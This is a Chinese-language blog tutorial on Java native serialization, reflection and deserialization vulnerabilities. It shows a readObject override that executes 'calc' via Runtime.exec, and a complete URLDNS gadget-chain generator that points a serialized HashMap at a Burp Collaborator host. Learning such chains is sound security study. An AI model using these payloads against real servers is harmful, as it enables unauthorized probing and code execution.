首页 > 编程语言 >java反序列化基础

java反序列化基础

时间:2023-02-10 22:23:17浏览次数:58  
标签:调用 java 基础 Person import 序列化 public

前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下

参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010

01.什么是序列化与反序列化

其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。

下面来演示一下使用io流自带的接口进行序列化与反序列化:

1.首先定义一个Person类用于序列化的操作

 1 import java.io.Serializable;
 2 //必须继承Serializable接口才可被序列化
 3 public class Person implements Serializable {
 4     private String name;
 5     private int age;
 6 
 7     public Person(String name, int age) {
 8         this.name = name;
 9         this.age = age;
10     }
11 
12     public Person() {
13     }
14 
15     @Override
16     public String toString() {
17         return "Person{" +
18                 "name='" + name + '\'' +
19                 ", age=" + age +
20                 '}';
21     }
22 }
View Code

2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果

1     public static void main(String[] args) {
2         Person person = new Person("aa",22);
3         System.out.println(person);
4     }

 

 

 3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中

1     public static void serialize(Object obj) throws IOException{
2         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3         oos.writeObject(obj);
4     }

 

 

 4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象

 1 import java.io.FileInputStream;
 2 import java.io.FileNotFoundException;
 3 import java.io.IOException;
 4 import java.io.ObjectInputStream;
 5 
 6 public class UnserializeTest {
 7     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 8         ObjectInputStream ois  = new ObjectInputStream(new FileInputStream(Filename));
 9         Object obj = ois.readObject();
10         return obj;
11     }
12 
13     public static void main(String[] args) throws IOException, ClassNotFoundException {
14         Person person = (Person)unserialize("ser.bin");
15         System.out.println(person);
16     }
17 }
View Code

 

 

 tips:

  • 必须实现Serializable接口的类才可被序列化
  • 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
  • transient标识的对象成员变量是不可以被序列化的

那么为什么会产生安全问题呢?

只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力

如何利用?

首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)

1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:

1     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2         ois.defaultReadObject();
3         Runtime.getRuntime().exec("calc");
4     }
View Code

2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用

3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用

Java反射机制

通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制

参考文章:https://blog.csdn.net/weiwenhou/article/details/103650422

总结一下:

  • 反射的作用:让java具有动态性
  • 修改已有对象的属性
  • 动态的生成对象
  • 动态的调用方法
  • 操作内部类和私有方法

在反序列化漏洞中的应用:

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类

简单使用

 1 import java.lang.reflect.Constructor;
 2 import java.lang.reflect.Field;
 3 import java.lang.reflect.Method;
 4 
 5 public class ReflectionTest {
 6     public static void main(String[] args) throws Exception {
 7         Person person = new Person();
 8         Class c = person.getClass();
 9         //反射就是操作Class
10 
11         //从原型class里面实例化对象
12         //c.newInstance(); 无参,无法使用
13         Constructor personconstructor =  c.getConstructor(String.class,int.class);
14         Person p = (Person) personconstructor.newInstance("abc",22);
15         System.out.println(p);
16         //获取类里面的属性
17         //c.getFields();只能打印public的属性
18         //c.getDeclaredFields()都可以打印
19         Field[] personfields =  c.getDeclaredFields();
20         for (Field f:personfields){
21             System.out.println(f);
22         }
23         //获取单个
24         Field namefield = c.getField("name");
25         namefield.set(p,"testedit");//需要一个示例
26         System.out.println(p);
27         //修改私有变量
28         Field agefield = c.getDeclaredField("age");
29         agefield.setAccessible(true);//允许访问私有变量
30         agefield.set(p,33);
31         System.out.println(p);
32         //调用类里面的方法
33         Method[] personMethods = c.getDeclaredMethods();
34         for(Method m:personMethods){
35             System.out.println(m);
36         }
37         //获取单个方法
38         Method actionmethod = c.getMethod("action",String.class);
39         actionmethod.invoke(p,"testaction");//调用触发
40     }
41 }
View Code

URL-DNS链

首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?

其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。

 1 import java.io.FileOutputStream;
 2 import java.io.IOException;
 3 import java.io.ObjectOutputStream;
 4 import java.lang.reflect.Field;
 5 import java.net.URL;
 6 import java.util.HashMap;
 7 
 8 public class SerializationTest {
 9     public static void serialize(Object obj) throws Exception{
10         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
11         oos.writeObject(obj);
12     }
13 
14     public static void main(String[] args) throws Exception {
15 //        Person person = new Person("aa",22);
16 //        System.out.println(person);
17 //        serialize(person);
18         HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
19         //一开始不能发起请求        //把url对象的hashcode改成不是-1
20         URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
21         Class c = url.getClass();
22         Field hashcode = c.getDeclaredField("hashCode");
23         hashcode.setAccessible(true);
24         hashcode.set(url,1);
25         hashMap.put(url,1);
26         //现在可以把hashcode给改回来
27         hashcode.set(url,-1);
28         serialize(hashMap);
29     }
30 }
View Code

 

 

标签:调用,java,基础,Person,import,序列化,public
From: https://www.cnblogs.com/LeslieSec/p/17110168.html

相关文章

  • java 是值传递还是引用传递
    首先要明白,修改一个对象,可以是修改对象的属性值,也能使建立新的引用(指向另一个对象)两种情况值传递在函数调用的过程中,参数是变量的副本,就是复制出来的一个对象,函数中无......
  • 【蓝桥杯基础题】2020年省赛填空题—回文日期
    一、题目背景本题为2020年省赛填空题C/C++A组第7题C/C++B组第7题JavaA组第7题二、题目描述1.问题描述2020年春节期间,有一个特殊的日期引起了大家的注意:2020......
  • 关于Java基础复习-第三天的复习总结
    1、流程控制语句(应用)在一个程序执行的过程中,各条语句的执行顺序对程序的结果是有直接影响的。所以,我们必须清楚每条语句的执行流程。而且,很多时候要通过控制语句的执行顺......
  • 关于Java基础-第四天的复习总结
    1.数组1.1什么是数组【理解】数组就是存储数据长度固定的容器,存储多个数据的数据类型要一致。1.2数组定义格式【记忆】1.2.1第一种数据类型[]数组名示例:int[]......
  • 关于Java基础-第五天的复习笔记
    1.方法概述1.1方法的概念(理解)方法(method)是将具有独立功能的代码块组织成为一个整体,使其具有特殊功能的代码集注意:方法必须先创建才可以使用,该过程成为方法定义......
  • 2023-02-10 java方法快速入门
    1.java方法快速入门使用点击查看代码publicclassmethodone{publicstaticvoidmain(String[]args){Personone=newPerson();one.speak......
  • java——spring boot集成redis——redis常用命令——黑马截图复习
                   =======================================================================             ......
  • 关于Java基础复习-第二天的总结笔记
    0、类型转换问题类型转换(理解)在Java中,会存在不同类型的数据需要一起参与运算,所以这些数据类型之间是需要相互转换的,分为两种情况:自动类型转换和强制类型转换。自动类型......
  • java8新特性
    汇报人:...星辰日期:2022-11-16本周重点1.任务进展学习了java8的基础知识,更深层次的了解了Java的新特性2.相关数据lambdalambda表达式的重要特征:可选类型声明:不需要声明参数......
  • Java流程控制
    Java流程控制用户交互Scannernext()一定要读取到有效字符后才可以结束输入对输入有效字符之前遇到的空白,next()方法会自动将其去掉只有输入有效字符后才将其后面的空......